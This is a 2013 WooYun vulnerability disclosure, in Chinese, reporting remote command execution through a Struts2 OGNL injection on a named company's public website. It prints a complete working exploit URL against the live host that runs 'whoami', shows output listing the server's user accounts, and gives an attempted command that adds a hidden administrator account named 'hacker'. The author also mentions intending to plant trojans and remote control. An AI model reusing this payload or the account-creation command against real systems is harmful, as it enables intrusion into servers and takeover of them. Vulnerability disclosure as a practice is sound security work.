当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-024059

漏洞标题：心享网集团版官网代码执行漏洞

相关厂商：心享网集团版官网

漏洞作者： 相关部们

提交时间：2013-05-20 13:57

修复时间：2013-07-04 13:58

公开时间：2013-07-04 13:58

漏洞类型：命令执行

危害等级：高

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-05-20： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-07-04： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

心享网集团版官网存在代码执行漏洞，权限高，危险大。

详细说明：

2个星期前就发现了，百度的功劳，想再等等，看管理会不会修补，看来管理很忙。
存在代码执行的地址是：
http://www.icareishare.com.cn/soul/SoulFront/appointment_front_ashow.action?channelCode=10100&articleId=8a3f98963e9b5fc5013eb6ee07a8082a
1、查询当前权限

http://www.icareishare.com.cn/soul/SoulFront/appointment_front_ashow.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(g)(('\43req\[email protected]@getRequest()')(d))&(h)(('\43webRootzpro\[email protected]@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43webRootzproreader\75new\40java.io.DataInputStream(\43webRootzpro.getInputStream())')(d))&(i01)(('\43webStr\75new\40byte[51020]')(d))&(i1)(('\43webRootzproreader.readFully(\43webStr)')(d))&(i111)(('\43webStr12\75new\40java.lang.String(\43webStr)')(d))&(i2)(('\43xman\[email protected]@getResponse()')(d))&(i2)(('\43xman\[email protected]@getResponse()')(d))&(i95)(('\43xman.getWriter().println(\43webStr12)')(d))&(i99)(('\43xman.getWriter().close()')(d))&cmd=whoami


回显如下：

111.jpg


2、查看系统用户

222.jpg


\\ICISAPSERVER ?????
-------------------------------------------------------------------------------
Administrator            ASPNET                   Guest                    
sitcleasing              SUPPORT_388945a0         
???????


3、接下来就是net user hacker f4ck123 /add & net localgroup administrators hacker /add
不过没成功，本来想直接丢给struts工具的，但是担心工具挂马，把漏洞地址外发，所以就没有深入
相信带上工具，就可以单刀直入了。然后就是挂马、远控....各种违法行为

漏洞证明：

222.jpg


修复方案：

升级打补丁吧

版权声明：转载请注明来源 相关部们@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝